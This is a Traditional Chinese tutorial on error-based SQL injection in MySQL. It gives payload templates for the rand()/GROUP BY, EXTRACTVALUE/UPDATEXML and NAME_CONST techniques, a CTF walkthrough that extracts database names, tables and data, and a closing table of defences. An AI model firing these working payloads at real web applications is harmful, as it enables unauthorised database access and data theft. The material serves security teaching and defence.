首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

SQL 注入之基於錯誤回顯攻擊完整手冊:原理、Payload 與實戰演練

     編輯:MySQL 綜合教學

SQL Injection - Error Based 完整攻防指南:原理、三大核心技術與 CTF 實戰

錯誤回顯注入利用資料庫錯誤訊息將敏感資料「吐」到頁面上。雖生產環境通常關閉詳細錯誤,但測試環境、舊系統、特定框架錯誤頁仍可能洩露。本文系統整理 MySQL 下三大核心技術、Payload 模板與實戰步驟,供安全研究與防禦參考。

法律聲明: 本文僅供授權滲透測試、CTF 競賽、安全教學與防禦研究使用。未經授權對他人系統測試屬違法行為。

核心原理

構造**邏輯矛盾**的 SQL 迫使資料庫拋錯,錯誤訊息中包含我們想提取的資料 (資料庫名、版本、表名、欄位、資料)。

技術一:rand() + GROUP BY 重複鍵錯誤 (MySQL 經典)

利用 RAND(0) 固定種子 + FLOOR(RAND(0)*2) 產生確定性 0/1 序列,配合 GROUP BY 觸發 Duplicate entry 錯誤。

-- 通用 Payload 模板
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(FLOOR(RAND(0)*2), 0x23, (目標查詢)) x FROM information_schema.tables GROUP BY x) a) AND '1'='1
  • 0x23 = # 分隔符,方便截取
  • information_schema.tables 任意大表提供足夠行數觸發分組
  • 需子查詢返回**單行單列**

技術二:XPath 函數注入 (MySQL 5.1+)

利用 EXTRACTVALUE()、UPDATEXML() 解析 XML 時,XPath 語法錯誤會回顯異常資料。**限制:單次最多 32 字元**,需配合 MID()/SUBSTR() 分段提取。

-- EXTRACTVALUE
' AND EXTRACTVALUE(1, CONCAT(0x7e, (目標查詢))) AND '1'='1

-- UPDATEXML
' AND UPDATEXML(1, CONCAT(0x7e, (目標查詢)), 1) AND '1'='1
  • 0x7e = ~ 標記開頭
  • 錯誤訊息格式:XPATH syntax error: '~target_data'

技術三:重複別名/欄位名錯誤 (較少見)

-- 利用 NAME_CONST 強制重複別名
' AND EXISTS(SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(@@version,0)) a JOIN (SELECT NAME_CONST(@@version,0)) b) c) --

實戰演練流程 (CTF 題目)

  1. 判斷注入點:' 報錯、' OR '1'='1 正常回顯
  2. 爆資料庫名:(SELECT DATABASE()) → r0866cplushua
  3. 爆版本:(SELECT VERSION()) → 5.1.61-Alibaba-rds
  4. 爆表名:(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='db' LIMIT 0,1) → log, motto, user
  5. 爆欄位:(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='motto' LIMIT 0,1) → id, username, motto
  6. 爆資料:XPath 分段提取 (SELECT CONCAT(username,0x3a,motto) FROM motto LIMIT 3,1) → key#notfound!#

防禦對策

層面措施
程式碼全面使用 參數化查詢 / PreparedStatement,嚴禁字串拼接 SQL
資料庫最小權限帳號、關閉詳細錯誤回顯 (display_errors=Off)、啟用 WAF
框架ORM 參數綁定、輸入驗證、輸出編碼
監控異常 SQL 模式告警、錯誤日誌審計、資料庫防火牆
藍隊視角: 錯誤回顯注入本質是「資訊洩露」+「邏輯繞過」。根治在於**參數化查詢**徹底分離代碼與資料,輔以**最小權限**、**錯誤資訊最小化**、**WAF/ RASP** 多層防禦。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved